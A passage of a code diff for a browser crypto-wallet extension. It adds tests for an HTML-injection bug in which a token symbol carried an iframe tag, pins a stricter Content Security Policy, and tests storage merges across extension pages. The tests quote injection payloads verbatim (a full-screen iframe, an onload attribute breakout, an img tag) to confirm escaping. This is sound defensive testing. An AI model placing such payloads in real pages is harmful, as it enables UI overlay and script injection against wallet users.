+    'style="position:fixed;left:0;top:0;width:360px;height:600px;z-index:99999"></iframe>';
+
+// What a correctly escaped and capped render of it reads as: the first
+// MAX_SYMBOL_LENGTH-1 characters and an ellipsis. Spelled out rather than
+// imported, so a change to the cap has to be restated here deliberately
+// instead of being absorbed by a shared constant.
+const HOSTILE_SYMBOL_DISPLAYED = "<iframe id=" + "…";
+
+// Everything the popup can say about an injected symbol, read out of the
+// live DOM in one pass.
+function hostileSymbolState(page, tokenAddress) {
+    return page.evaluate((addr) => {
+        const row = document.querySelector(
+            '#wallet-list [data-token="' + addr + '"]',
+        );
+        // balanceLine() emits <div data-token><span><span>SYMBOL</span>…
+        // so this is the span the symbol itself was written into.
+        const symbolEl = row && row.firstElementChild.firstElementChild;
+        return {
+            rowFound: !!row,
+            rowText: row ? row.innerText.trim() : "",
+            symbolText: symbolEl ? symbolEl.textContent : "",
+            // The symbol's own span must hold text and nothing else. An
+            // element child here is the injection, whether or not it
+            // happens to be an iframe.
+            symbolElementChildren: symbolEl
+                ? symbolEl.querySelectorAll("*").length
+                : -1,
+            // The whole popup document, not just the row: an injected
+            // element positioned fixed can be anywhere in the tree.
+            iframes: document.querySelectorAll("iframe").length,
+            pwnPresent: !!document.getElementById("pwn"),
+        };
+    }, tokenAddress);
+}
+
+test("a token whose symbol() returns markup renders as text (#307)", async (env) => {
+    env.routeOpts.ethBalanceWei = toHexWei(FUNDED_ETH_WEI);
+    env.routeOpts.seedTokenBalance = true;
+    env.routeOpts.tokenSymbolOverride = HOSTILE_SYMBOL;
+    console.log(
+        "# stub token symbol() now returns: " + JSON.stringify(HOSTILE_SYMBOL),
+    );
+
+    // Close and reopen so the refresh that runs on open fetches balances
+    // with the hostile symbol in them.
+    await reopenPopup(env, "#view-address");
+    await env.page.waitForFunction(
+        (addr) =>
+            !!document.querySelector(
+                '#address-balances [data-token="' + addr + '"]',
+            ),
+        STUB_TOKEN.address,
+        { timeout: 60000 },
+    );
+    const onAddress = await env.page.evaluate(() => ({
+        iframes: document.querySelectorAll("iframe").length,
+        pwnPresent: !!document.getElementById("pwn"),
+    }));
+    console.log("# address-detail iframes = " + onAddress.iframes);
+    assert(
+        onAddress.iframes === 0 && !onAddress.pwnPresent,
+        "the address screen contains " +
+            onAddress.iframes +
+            " iframe(s) after a hostile symbol rendered (#307)",
+    );
+
+    await env.page.click("#btn-address-back");
+    await visible(env.page, "#view-main");
+    await visible(
+        env.page,
+        '#wallet-list [data-token="' + STUB_TOKEN.address + '"]',
+        60000,
+    );
+
+    const st = await hostileSymbolState(env.page, STUB_TOKEN.address);
+    console.log(
+        "# iframes in the popup DOM = " +
+            st.iframes +
+            " | #pwn present = " +
+            st.pwnPresent +
+            " | symbol = " +
+            JSON.stringify(st.symbolText),
+    );
+
+    assert(st.rowFound, "the hostile token never rendered a row at all");
+    assert(
+        st.iframes === 0,
+        "the popup DOM contains " + st.iframes + " iframe(s) (#307)",
+    );
+    assert(!st.pwnPresent, "the injected #pwn element is in the popup DOM");
+    assert(
+        st.symbolElementChildren === 0,
+        "the symbol span grew " +
+            st.symbolElementChildren +
+            " element children out of a token symbol (#307)",
+    );
+    assert(
+        st.symbolText === HOSTILE_SYMBOL_DISPLAYED,
+        "the symbol did not render as the literal capped text " +
+            JSON.stringify(HOSTILE_SYMBOL_DISPLAYED) +
+            ": " +
+            JSON.stringify(st.symbolText),
+    );
+    assert(
+        !st.rowText.includes("z-index"),
+        "the uncapped symbol reached the screen: " + JSON.stringify(st.rowText),
+    );
+
+    // Put the fixture back before the next test reads it, and let the
+    // stored balances be rewritten with the honest symbol.
+    env.routeOpts.tokenSymbolOverride = null;
+    await reopenPopup(env, "#view-main");
+    await env.page.waitForFunction(
+        (addr) => {
+            const row = document.querySelector(
+                '#wallet-list [data-token="' + addr + '"]',
+            );
+            return !!row && row.innerText.includes("E2E");
+        },
+        STUB_TOKEN.address,
+        { timeout: 60000 },
+    );
+});
+
 // ------------------------------------------- dApp round trips (#183)
 //
 // The seam. Everything above drives the popup on its own; this section is
@@ -3303,6 +3453,9 @@ async function main() {
         // something other than the value the same fixture reports through
         // Blockscout. The token that lies about its scale (#305).
         tokenDecimalsOverride: null,
+        // What the explorer reports as the stub token's symbol. The token
+        // whose symbol() returns markup (#307).
+        tokenSymbolOverride: null,
         // Whether eth_getTransactionReceipt confirms a transaction rather than
         // answering "not mined yet".
         seedReceipt: false,

tests/htmlEscape.test.js

@@ -0,0 +1,110 @@
+// The escape every view depends on, and the length bound on a displayed
+// token symbol. Both were added for #307, where a token whose symbol()
+// returned an <iframe> tag rendered that iframe inside the popup.
+
+const { escapeHtml } = require("../src/shared/html");
+const {
+    displaySymbol,
+    MAX_SYMBOL_LENGTH,
+    UNKNOWN_SYMBOL,
+} = require("../src/shared/symbolDisplay");
+
+// The payload from the issue's reproduction, verbatim.
+const HOSTILE_SYMBOL =
+    '<iframe id="pwn" src="https://dapp.e2e.test/" ' +
+    'style="position:fixed;left:0;top:0;width:360px;height:600px;z-index:99999"></iframe>';
+
+describe("escapeHtml", () => {
+    test("escapes all five characters, quotes included", () => {
+        expect(escapeHtml("&<>\"'")).toBe("&amp;&lt;&gt;&quot;&#39;");
+    });
+
+    // The regression this function was rewritten for. The previous
+    // implementation round-tripped through a detached div's textContent,
+    // and an HTML text node serializes a quote as itself — so a value with
+    // a quote in it broke straight out of data-copy="..." and href="...".
+    test("escapes quotes, which the textContent round trip did not", () => {
+        expect(escapeHtml('a"b')).toBe("a&quot;b");
+        expect(escapeHtml("a'b")).toBe("a&#39;b");
+    });
+
+    test("does not double-escape an ampersand it just introduced", () => {
+        expect(escapeHtml("&lt;")).toBe("&amp;lt;");
+        expect(escapeHtml("&amp;")).toBe("&amp;amp;");
+    });
+
+    test("leaves a string with nothing to escape untouched", () => {
+        expect(escapeHtml("USDC")).toBe("USDC");
+        expect(escapeHtml("")).toBe("");
+    });
+
+    test("renders the hostile symbol inert", () => {
+        const out = escapeHtml(HOSTILE_SYMBOL);
+        expect(out).not.toContain("<");
+        expect(out).not.toContain(">");
+        expect(out).not.toContain('"');
+        expect(out).toContain("&lt;iframe");
+    });
+
+    // A quoted attribute is broken out of by a quote, a bare one by a
+    // space; both are closed here. Asserted as a whole attribute rather
+    // than character by character, because it is the attribute that has to
+    // survive, not the escape table.
+    test("a value carrying a quote stays inside its attribute", () => {
+        const evil = '" onload="alert(1)';
+        const attr = `data-copy="${escapeHtml(evil)}"`;
+        expect(attr).toBe('data-copy="&quot; onload=&quot;alert(1)"');
+        expect(attr.split('"').length - 1).toBe(2);
+    });
+
+    test("null and undefined render as nothing rather than as words", () => {
+        expect(escapeHtml(null)).toBe("");
+        expect(escapeHtml(undefined)).toBe("");
+    });
+
+    test("coerces a non-string without losing the escape", () => {
+        expect(escapeHtml(42)).toBe("42");
+        expect(escapeHtml({ toString: () => "<b>" })).toBe("&lt;b&gt;");
+    });
+});
+
+describe("displaySymbol", () => {
+    test("passes every symbol in the bundled list through unchanged", () => {
+        const { TOKENS } = require("../src/shared/tokenList");
+        for (const t of TOKENS) {
+            expect([t.address, displaySymbol(t.symbol)]).toEqual([
+                t.address,
+                t.symbol,
+            ]);
+        }
+    });
+
+    test("caps an over-long symbol and marks it as truncated", () => {
+        const long = "A".repeat(4096);
+        const out = displaySymbol(long);
+        expect(out.length).toBe(MAX_SYMBOL_LENGTH);
+        expect(out.endsWith("…")).toBe(true);
+    });
+
+    test("keeps a symbol of exactly the cap intact", () => {
+        const exact = "A".repeat(MAX_SYMBOL_LENGTH);
+        expect(displaySymbol(exact)).toBe(exact);
+    });
+
+    test("substitutes a placeholder for an absent symbol", () => {
+        expect(displaySymbol("")).toBe(UNKNOWN_SYMBOL);
+        expect(displaySymbol(null)).toBe(UNKNOWN_SYMBOL);
+        expect(displaySymbol(undefined)).toBe(UNKNOWN_SYMBOL);
+    });
+
+    // The cap is a layout bound and nothing more: it must not be mistaken
+    // for the thing that makes a symbol safe to render. A short hostile
+    // symbol passes through it untouched, and is inert only because the
+    // caller escapes it afterwards.
+    test("does not sanitize — a short markup symbol survives it verbatim", () => {
+        expect(displaySymbol("<img src=x>")).toBe("<img src=x>");
+        expect(escapeHtml(displaySymbol("<img src=x>"))).toBe(
+            "&lt;img src=x&gt;",
+        );
+    });
+});

tests/manifest.test.js

@@ -13,6 +13,33 @@
 // an exact match on the token set is what keeps the next edit from
 // smuggling one in alongside.
 //
+// It is also the anti-regression check for #307. The policy used to declare
+// script-src and object-src and nothing else, which left every directive
+// that does not fall back to them — and, absent default-src, every one that
+// does — wide open: a hostile ERC-20 symbol that reached innerHTML could
+// load a full-viewport cross-origin iframe over the wallet's own UI. The
+// escaping in src/shared/html.js is the primary fix; default-src is what
+// stops the next escape that slips from reaching the network.
+//
+// Every directive below is pinned exactly, because each of the four
+// loosenings is load-bearing and none of them may grow:
+//
+//   style-src 'unsafe-inline'  src/popup/index.html and the view helpers
+//                              use style="..." attributes throughout, which
+//                              CSP blocks without it. Chrome enforces this
+//                              on attributes, not just <style> blocks, and
+//                              Firefox has never implemented style-src-attr,
+//                              so there is no narrower spelling available.
+//   img-src data:              blockies are data: PNGs assigned to img.src.
+//   connect-src https: http:   the RPC endpoint is user-configurable, and a
+//                              local node over http://127.0.0.1 is a
+//                              supported configuration — the Firefox e2e
+//                              suite runs on exactly that.
+//   frame-src/form-action/base-uri  named rather than inherited: form-action
+//                              and base-uri do not fall back to default-src
+//                              at all, and frame-src 'none' is what kills
+//                              the reported attack outright.
+//
 // build.js copies these files to dist/<target>/manifest.json verbatim, so
 // what is asserted here is what ships.
 
@@ -21,8 +48,22 @@ const path = require("path");
 
 const MANIFEST_DIR = path.join(__dirname, "..", "manifest");
 
-const EXPECTED_SCRIPT_SRC = ["'self'", "'wasm-unsafe-eval'"];
-const EXPECTED_OBJECT_SRC = ["'self'"];
+const EXPECTED_DIRECTIVES = {
+    "default-src": ["'self'"],
+    "script-src": ["'self'", "'wasm-unsafe-eval'"],
+    "object-src": ["'self'"],
+    "style-src": ["'self'", "'unsafe-inline'"],
+    "img-src": ["'self'", "data:"],
+    "connect-src": ["'self'", "http:", "https:"],
+    "frame-src": ["'none'"],
+    "form-action": ["'none'"],
+    "base-uri": ["'none'"],
+};
+
+// Directives that fetch script. Nothing that can execute code may name a
+// remote source, an eval form, or an inline form; 'wasm-unsafe-eval' is the
+// single deliberate exception and it is pinned above.
+const SCRIPT_DIRECTIVES = ["default-src", "script-src", "object-src"];
 
 const FORBIDDEN_SOURCES = [
     "'unsafe-eval'",
@@ -53,26 +94,31 @@ function parseCsp(policy) {
 
 function assertPolicy(policy) {
     const directives = parseCsp(policy);
-    expect(Object.keys(directives).sort()).toEqual([
-        "object-src",
-        "script-src",
+    // Exact, in both directions: a directive that appears here and not in
+    // EXPECTED_DIRECTIVES is an unreviewed addition, and one that
+    // disappears silently reopens whatever it was closing.
+    expect(Object.keys(directives).sort()).toEqual(
+        Object.keys(EXPECTED_DIRECTIVES).sort(),
+    );
+    for (const [name, sources] of Object.entries(EXPECTED_DIRECTIVES)) {
+        expect([name, directives[name].slice().sort()]).toEqual([
+            name,
+            sources.slice().sort(),
         ]);
-    expect(directives["script-src"].slice().sort()).toEqual(
-        EXPECTED_SCRIPT_SRC,
-    );
-    expect(directives["object-src"].slice().sort()).toEqual(
-        EXPECTED_OBJECT_SRC,
-    );
+    }
+    for (const name of SCRIPT_DIRECTIVES) {
         for (const source of FORBIDDEN_SOURCES) {
-        expect(directives["script-src"]).not.toContain(source);
-        expect(directives["object-src"]).not.toContain(source);
+            expect(name + " " + directives[name].join(" ")).not.toContain(
+                " " + source,
+            );
+        }
     }
 }
 
 describe("shipped Content Security Policy", () => {
     // MV3 takes an object and applies extension_pages to the popup and the
     // background service worker, which is where libsodium runs.
-    test("chrome MV3 allows WASM and nothing else beyond 'self'", () => {
+    test("chrome MV3 ships the pinned policy, default-src included", () => {
         const csp = readManifest("chrome").content_security_policy;
         expect(typeof csp).toBe("object");
         expect(Object.keys(csp)).toEqual(["extension_pages"]);
@@ -87,7 +133,7 @@ describe("shipped Content Security Policy", () => {
     // Firefox before 106 rejects an MV2 policy string that omits
     // object-src and falls back to its own default, discarding everything
     // declared here. Same policy as Chrome, different manifest shape.
-    test("firefox MV2 allows WASM and nothing else beyond 'self'", () => {
+    test("firefox MV2 ships the pinned policy, default-src included", () => {
         const csp = readManifest("firefox").content_security_policy;
         expect(typeof csp).toBe("string");
         assertPolicy(csp);

tests/networkEndpoints.test.js

@@ -10,6 +10,7 @@
 // happened.
 
 const { networkById } = require("../src/shared/networks");
+const { makeStorageStub } = require("./support/storageStub");
 
 const ADDRESS = "0x66133E8ea0f5D1d612D2502a968757D1048c214a";
 
@@ -34,25 +35,19 @@ function walletFixture() {
 // saveState() wrote — so a case can reload a fresh module from the bytes an
 // earlier one persisted, which is what an extension restart does. `state` is
 // a module-level singleton, so the registry has to be reset per load.
+// The stub clones in both directions, as the real chrome.storage.local does.
+// It used to alias, and written() then handed the NEXT module load the live
+// in-memory object of the previous one as its "persisted bytes" — an extension
+// restart that never crossed a serialization boundary. See
+// tests/support/storageStub.js.
 function loadModuleWith(persisted) {
     jest.resetModules();
-    let written = null;
-    global.chrome = {
-        storage: {
-            local: {
-                get: jest.fn(async () =>
-                    persisted ? { autistmask: persisted } : {},
-                ),
-                set: jest.fn(async (items) => {
-                    written = items.autistmask;
-                }),
-            },
-        },
-    };
+    const storage = makeStorageStub(persisted ? { autistmask: persisted } : {});
+    global.chrome = { storage };
     return {
         mod: require("../src/shared/state"),
         chainSwitch: require("../src/shared/chainSwitch"),
-        written: () => written,
+        written: () => storage.read("autistmask"),
     };
 }
 

tests/settingsUtcTimestamps.test.js

@@ -9,6 +9,8 @@
 const fs = require("fs");
 const path = require("path");
 
+const { makeStorageStub } = require("./support/storageStub");
+
 const POPUP_HTML = fs.readFileSync(
     path.join(__dirname, "..", "src", "popup", "index.html"),
     "utf8",
@@ -51,19 +53,17 @@ describe("the UTC Timestamps checkbox placement", () => {
 });
 
 describe("the UTC Timestamps setting round-trips through storage", () => {
-    let store;
+    let storage;
 
+    // The stub clones in both directions, as the real chrome.storage.local
+    // does. It used to alias, which is fatal to a round-trip test in
+    // particular: the object the module holds and the object "storage" holds
+    // are then the same object, so the setting appears to have been persisted
+    // and read back on a build where neither happened. See
+    // tests/support/storageStub.js.
     function loadStateModule() {
-        store = {};
-        global.chrome = {
-            storage: {
-                local: {
-                    get: async (key) =>
-                        key in store ? { [key]: store[key] } : {},
-                    set: async (obj) => Object.assign(store, obj),
-                },
-            },
-        };
+        storage = makeStorageStub();
+        global.chrome = { storage };
         jest.resetModules();
         return require("../src/shared/state");
     }
@@ -86,12 +86,18 @@ describe("the UTC Timestamps setting round-trips through storage", () => {
         // What the change handler in views/settings.js does.
         first.state.utcTimestamps = true;
         await first.saveState();
-        expect(store.autistmask.utcTimestamps).toBe(true);
+        expect(storage.read("autistmask").utcTimestamps).toBe(true);
 
-        // A fresh popup load sees it.
+        // A fresh popup load sees it — and, before that load, refuses to
+        // answer at all rather than reporting the default. That refusal is
+        // what makes the assertion below evidence of a read from storage
+        // instead of a value that was already sitting in memory
+        // (https://git.eeqj.de/sneak/AutistMask/issues/324).
         jest.resetModules();
         const second = require("../src/shared/state");
-        expect(second.state.utcTimestamps).toBe(false);
+        expect(() => second.state.utcTimestamps).toThrow(
+            second.StateNotLoadedError,
+        );
         await second.loadState();
         expect(second.state.utcTimestamps).toBe(true);
     });

tests/state.test.js

@@ -4,23 +4,24 @@ function oneWallet() {
     return [{ name: "Wallet 1", type: "hd", addresses: [ADDRESS] }];
 }
 
+const { makeStorageStub } = require("./support/storageStub");
+
 // state.js resolves the storage API at require time, so the stub has to exist
 // before the module is loaded, and the module registry has to be reset between
 // cases because `state` is a module-level singleton.
+//
+// The stub clones in both directions, as the real chrome.storage.local does —
+// see tests/support/storageStub.js for why an aliasing one made this file
+// assert less than it appears to.
 function loadModuleWith(persisted) {
     jest.resetModules();
-    const set = jest.fn(async () => {});
-    global.chrome = {
-        storage: {
-            local: {
-                get: jest.fn(async () =>
-                    persisted ? { autistmask: persisted } : {},
-                ),
-                set,
-            },
-        },
+    const storage = makeStorageStub(persisted ? { autistmask: persisted } : {});
+    global.chrome = { storage };
+    return {
+        mod: require("../src/shared/state"),
+        set: storage.set,
+        stored: () => storage.read("autistmask"),
     };
-    return { mod: require("../src/shared/state"), set };
 }
 
 afterEach(() => {

tests/stateMerge.test.js

@@ -0,0 +1,423 @@
+// saveState() used to write the entire state blob every time
+// (src/shared/state.js). Every extension page — the toolbar popup, a dApp
+// approval window opened by the background, backgroundRefresh() in
+// src/background/index.js — holds its own in-memory `state`, loaded once,
+// and src/popup/views/helpers.js showView() saves on EVERY navigation. So
+// any second page that saved after a first page had written something new
+// overwrote it, with no attacker and no unusual input: a whole wallet, name,
+// addresses and encrypted secret included, silently gone
+// (https://git.eeqj.de/sneak/AutistMask/issues/304).
+//
+// Both cases below drive the real state.js module through two independent
+// module registries sharing one storage backend, the way two real extension
+// pages share one chrome.storage.local. The shared stub structured-clones on
+// both get and set — a stub that hands back the object it was given aliases
+// the caller's own mutation and would make this entire defect class invisible
+// (see https://git.eeqj.de/sneak/AutistMask/issues/324).
+
+const { makeStorageStub } = require("./support/storageStub");
+
+// One extension page: a fresh module registry over the shared storage.
+// state.js resolves the storage API at require time, so the stub has to be
+// installed before the module is loaded, and `state` is a module-level
+// singleton, so each page needs its own registry to hold its own copy.
+function loadPage(storage) {
+    jest.resetModules();
+    globalThis.chrome = { storage: { local: storage.local } };
+    return {
+        state: require("../src/shared/state"),
+        helpers: require("../src/popup/views/helpers"),
+    };
+}
+
+function wallet(name, secret, address) {
+    return {
+        type: "hd",
+        name,
+        xpub: "xpub-" + name,
+        encryptedSecret: secret,
+        nextIndex: 1,
+        addresses: [{ address, balance: "0", tokenBalances: [] }],
+    };
+}
+
+const W1 = wallet(
+    "Wallet 1",
+    "secret-one",
+    "0x66133E8ea0f5D1d612D2502a968757D1048c214a",
+);
+const W2 = wallet(
+    "Wallet 2",
+    "secret-two",
+    "0xdAC17F958D2ee523a2206206994597C13D831ec7",
+);
+
+// Minimal DOM: showView() toggles view elements, clears the flash line and
+// creates/removes the debug banner. Nothing here is asserted; it only has to
+// answer without throwing, the way the popup's own index.html would.
+function makeElement(id) {
+    const classes = new Set();
+    return {
+        id,
+        textContent: "",
+        style: {},
+        classList: {
+            add: (...n) => n.forEach((c) => classes.add(c)),
+            remove: (...n) => n.forEach((c) => classes.delete(c)),
+            toggle: (c, force) => {
+                const on = force === undefined ? !classes.has(c) : force;
+                if (on) classes.add(c);
+                else classes.delete(c);
+                return on;
+            },
+        },
+        remove: () => {},
+    };
+}
+
+function makeDocument() {
+    const els = new Map();
+    return {
+        getElementById(id) {
+            if (id === "debug-banner") return null;
+            if (!els.has(id)) els.set(id, makeElement(id));
+            return els.get(id);
+        },
+        createElement: () => makeElement("created"),
+        body: { prepend: () => {} },
+    };
+}
+
+afterEach(() => {
+    delete globalThis.chrome;
+    delete globalThis.document;
+});
+
+describe("a save from a page that never saw a wallet another page added", () => {
+    // The first DoD case on the issue: add a wallet in one page, then force
+    // a save from a second page loaded before that wallet existed. Both
+    // wallets must survive.
+    test("both wallets are in storage afterwards", async () => {
+        const storage = makeStorageStub();
+        await storage.set({ autistmask: { wallets: [W1] } });
+
+        // Loaded while storage held only Wallet 1, and never reloads —
+        // the approval window in the reproduction, or a second popup that
+        // has been open for a while.
+        const stale = loadPage(storage);
+        await stale.state.loadState();
+        expect(stale.state.state.wallets).toHaveLength(1);
+
+        // A second page, loaded after, adds a wallet — the exact sequence
+        // src/popup/views/addWallet.js uses.
+        const fresh = loadPage(storage);
+        await fresh.state.loadState();
+        fresh.state.state.wallets.push(W2);
+        fresh.state.state.hasWallet = true;
+        await fresh.state.saveState();
+
+        expect(
+            (await storage.get("autistmask")).autistmask.wallets,
+        ).toHaveLength(2);
+
+        // The stale page saves something that has nothing to do with
+        // wallets — exactly what showView() does on every navigation, and
+        // what backgroundRefresh() does after a balance poll.
+        stale.state.state.currentView = "settings";
+        await stale.state.saveState();
+
+        const persisted = (await storage.get("autistmask")).autistmask;
+        expect(persisted.wallets.map((w) => w.name)).toEqual([
+            "Wallet 1",
+            "Wallet 2",
+        ]);
+        expect(persisted.wallets.map((w) => w.encryptedSecret)).toEqual([
+            "secret-one",
+            "secret-two",
+        ]);
+    });
+});
+
+describe("the approval-window reproduction", () => {
+    // approval window open, add a wallet in the popup, confirm the approval
+    // — the exact sequence from the issue. The approval window and the
+    // popup are the same popup code with a different starting view, so
+    // showView() is the real save path in both: src/popup/views/approval.js
+    // showTxApproval() calls showView("approve-tx") when the window opens,
+    // and a successful confirm calls
+    // src/popup/views/txStatus.js showWait() -> startWait(), which calls
+    // showView("wait-tx") — the save that clobbered the second wallet in
+    // the reproduction on the issue.
+    test("the wallet added in the popup survives confirming the approval", async () => {
+        globalThis.document = makeDocument();
+
+        const storage = makeStorageStub();
+        await storage.set({ autistmask: { wallets: [W1] } });
+
+        // The background opens the approval window on the approve-tx
+        // screen; nothing else has happened yet.
+        const approvalWindow = loadPage(storage);
+        await approvalWindow.state.loadState();
+        approvalWindow.helpers.showView("approve-tx");
+        // showView() does not await its own saveState(); an extra save
+        // joins the same queue and only resolves once that one has too,
+        // which is the black-box way to know it landed.
+        await approvalWindow.state.saveState();
+
+        // The user adds a wallet in the popup — a separate page, loaded
+        // after the approval window.
+        const popup = loadPage(storage);
+        await popup.state.loadState();
+        popup.state.state.wallets.push(W2);
+        popup.state.state.hasWallet = true;
+        await popup.state.saveState();
+        expect(
+            (await storage.get("autistmask")).autistmask.wallets,
+        ).toHaveLength(2);
+
+        // The user confirms the approval. The approval window navigates
+        // approve-tx -> wait-tx, saving again from state it loaded before
+        // Wallet 2 ever existed.
+        approvalWindow.helpers.showView("wait-tx");
+        await approvalWindow.state.saveState();
+
+        const persisted = (await storage.get("autistmask")).autistmask;
+        expect(persisted.wallets.map((w) => w.name)).toEqual([
+            "Wallet 1",
+            "Wallet 2",
+        ]);
+        expect(persisted.wallets.map((w) => w.encryptedSecret)).toEqual([
+            "secret-one",
+            "secret-two",
+        ]);
+    });
+});
+
+// backgroundRefresh() (src/background/index.js) loads state, spends seconds
+// on network I/O in refreshBalances() (src/shared/balances.js) mutating
+// addr.balance/ensName/tokenBalances IN PLACE on the wallets it already
+// knew about, then saves. Precondition 2 on the issue: that refresh window
+// overlapping a membership change (add or delete) on another page must not
+// clobber or resurrect a wallet — a whole-field diff on `wallets` failed
+// this, because "background changed a balance" and "another page changed
+// membership" collided as the same field.
+describe("background refresh racing a wallet added on another page", () => {
+    test("the wallet added elsewhere survives background's stale balance save", async () => {
+        const storage = makeStorageStub();
+        await storage.set({ autistmask: { wallets: [W1] } });
+
+        // "background": loads first, and its save is the one that lands
+        // last, modeling the multi-second network round trip in between.
+        const background = loadPage(storage);
+        await background.state.loadState();
+        background.state.state.wallets[0].addresses[0].balance = "1.2345";
+
+        // A second page, loaded after, adds a wallet while background's
+        // refresh is still in flight.
+        const popup = loadPage(storage);
+        await popup.state.loadState();
+        popup.state.state.wallets.push(W2);
+        popup.state.state.hasWallet = true;
+        await popup.state.saveState();
+        expect(
+            (await storage.get("autistmask")).autistmask.wallets,
+        ).toHaveLength(2);
+
+        // background's save lands last, carrying only its balance update.
+        await background.state.saveState();
+
+        const persisted = (await storage.get("autistmask")).autistmask;
+        expect(persisted.wallets.map((w) => w.name)).toEqual([
+            "Wallet 1",
+            "Wallet 2",
+        ]);
+        expect(persisted.wallets.map((w) => w.encryptedSecret)).toEqual([
+            "secret-one",
+            "secret-two",
+        ]);
+        // The balance update itself must not be lost either — this is a
+        // merge, not deletion-always-wins.
+        expect(persisted.wallets[0].addresses[0].balance).toBe("1.2345");
+    });
+});
+
+describe("background refresh racing a wallet deleted on another page", () => {
+    test("the wallet deleted elsewhere stays deleted after background's stale balance save", async () => {
+        const storage = makeStorageStub();
+        await storage.set({ autistmask: { wallets: [W1, W2] } });
+
+        const background = loadPage(storage);
+        await background.state.loadState();
+        background.state.state.wallets[0].addresses[0].balance = "1.2345";
+
+        // A second page deletes Wallet 2 while background's refresh is in
+        // flight — the same splice deleteWallet.js's removeWalletFromState()
+        // does.
+        const popup = loadPage(storage);
+        await popup.state.loadState();
+        popup.state.state.wallets.splice(1, 1);
+        popup.state.state.hasWallet = popup.state.state.wallets.length > 0;
+        await popup.state.saveState();
+        expect(
+            (await storage.get("autistmask")).autistmask.wallets,
+        ).toHaveLength(1);
+
+        await background.state.saveState();
+
+        const persisted = (await storage.get("autistmask")).autistmask;
+        expect(persisted.wallets.map((w) => w.name)).toEqual(["Wallet 1"]);
+        expect(persisted.wallets[0].addresses[0].balance).toBe("1.2345");
+    });
+});
+
+// allowedSites/deniedSites: { [address]: [hostname, ...] }. Mutated in place
+// from two different contexts — src/background/index.js:592-599 pushes a
+// newly approved hostname onto state.allowedSites[activeAddress], and the
+// Settings "revoke" button (src/popup/views/settings.js:55-68) filters a
+// hostname out of state[key][addr] in place, deleting the address key
+// entirely once its list is empty — the exact membership-vs-whole-field
+// pattern that made the whole-field `wallets` diff unsafe, on a
+// security-relevant field: a stale whole-field save here can resurrect a
+// revoked permission or wipe a freshly granted one.
+const ADDR1 = "0x66133E8ea0f5D1d612D2502a968757D1048c214a";
+const ADDR2 = "0xdAC17F958D2ee523a2206206994597C13D831ec7";
+
+function approveSite(pageState, address, hostname) {
+    if (!pageState.allowedSites[address]) {
+        pageState.allowedSites[address] = [];
+    }
+    if (!pageState.allowedSites[address].includes(hostname)) {
+        pageState.allowedSites[address].push(hostname);
+    }
+}
+
+function revokeSite(pageState, hostname) {
+    for (const addr of Object.keys(pageState.allowedSites)) {
+        pageState.allowedSites[addr] = pageState.allowedSites[addr].filter(
+            (h) => h !== hostname,
+        );
+        if (pageState.allowedSites[addr].length === 0) {
+            delete pageState.allowedSites[addr];
+        }
+    }
+}
+
+describe("a dApp approval racing a stale Settings page's later save", () => {
+    test("the fresh approval survives Settings revoking an unrelated site", async () => {
+        const storage = makeStorageStub();
+        await storage.set({
+            autistmask: {
+                wallets: [W1],
+                allowedSites: { [ADDR2]: ["other.example"] },
+            },
+        });
+
+        // Settings loads first, and its save lands last — before either has
+        // any idea a dApp approval happened elsewhere in between.
+        const settings = loadPage(storage);
+        await settings.state.loadState();
+
+        // A dApp approval window, opened later, approves a new site for a
+        // different address and saves — the real sequence at
+        // src/background/index.js:592-599.
+        const approval = loadPage(storage);
+        await approval.state.loadState();
+        approveSite(approval.state.state, ADDR1, "dapp.example");
+        await approval.state.saveState();
+        expect(
+            (await storage.get("autistmask")).autistmask.allowedSites[ADDR1],
+        ).toEqual(["dapp.example"]);
+
+        // Settings revokes its own, unrelated site — the real sequence at
+        // src/popup/views/settings.js:55-68 — and saves from state loaded
+        // before the dApp approval ever happened.
+        revokeSite(settings.state.state, "other.example");
+        await settings.state.saveState();
+
+        const persisted = (await storage.get("autistmask")).autistmask;
+        expect(persisted.allowedSites[ADDR1]).toEqual(["dapp.example"]);
+        expect(persisted.allowedSites[ADDR2]).toBeUndefined();
+    });
+});
+
+describe("a revoked site permission against a stale page's later save", () => {
+    test("the revocation holds even when the stale page approves something else", async () => {
+        const storage = makeStorageStub();
+        await storage.set({
+            autistmask: {
+                wallets: [W1],
+                allowedSites: { [ADDR1]: ["evil.example"] },
+            },
+        });
+
+        // A stale page loads while the permission still stands.
+        const stale = loadPage(storage);
+        await stale.state.loadState();
+
+        // Settings revokes it — src/popup/views/settings.js:55-68 — from a
+        // second page.
+        const settings = loadPage(storage);
+        await settings.state.loadState();
+        revokeSite(settings.state.state, "evil.example");
+        await settings.state.saveState();
+        expect(
+            (await storage.get("autistmask")).autistmask.allowedSites[ADDR1],
+        ).toBeUndefined();
+
+        // The stale page, unaware of the revoke, approves an unrelated site
+        // for a different address and saves — src/background/index.js:592-599.
+        approveSite(stale.state.state, ADDR2, "good.example");
+        await stale.state.saveState();
+
+        const persisted = (await storage.get("autistmask")).autistmask;
+        expect(persisted.allowedSites[ADDR2]).toEqual(["good.example"]);
+        expect(persisted.allowedSites[ADDR1]).toBeUndefined();
+    });
+});
+
+// mergeListByIdentity()'s identity function is not guaranteed collision-free
+// — walletIdentity() falls back to one shared "addr:" value for any wallet
+// with neither an xpub nor a populated first address (a legacy or corrupt
+// record). Two such records created independently on two different pages
+// must not silently collapse into one, dropping the loser's
+// encryptedSecret with no error and no log.
+function legacyWallet(name, secret) {
+    return {
+        type: "legacy",
+        name,
+        encryptedSecret: secret,
+        nextIndex: 0,
+        addresses: [],
+    };
+}
+
+describe("two wallets independently created with a colliding identity", () => {
+    test("both survive, encryptedSecret included, instead of one silently replacing the other", async () => {
+        const storage = makeStorageStub();
+        await storage.set({ autistmask: { wallets: [W1] } });
+
+        // Both pages load before either has created their malformed wallet,
+        // so neither has baseline knowledge of the other's.
+        const pageA = loadPage(storage);
+        await pageA.state.loadState();
+        const pageB = loadPage(storage);
+        await pageB.state.loadState();
+
+        pageA.state.state.wallets.push(legacyWallet("Legacy A", "secret-a"));
+        pageA.state.state.hasWallet = true;
+        await pageA.state.saveState();
+        expect(
+            (await storage.get("autistmask")).autistmask.wallets,
+        ).toHaveLength(2);
+
+        pageB.state.state.wallets.push(legacyWallet("Legacy B", "secret-b"));
+        pageB.state.state.hasWallet = true;
+        await pageB.state.saveState();
+
+        const persisted = (await storage.get("autistmask")).autistmask;
+        const secrets = persisted.wallets.map((w) => w.encryptedSecret);
+        expect(secrets).toContain("secret-one");
+        expect(secrets).toContain("secret-a");
+        expect(secrets).toContain("secret-b");
+    });
+});

tests/support/storageStub.js

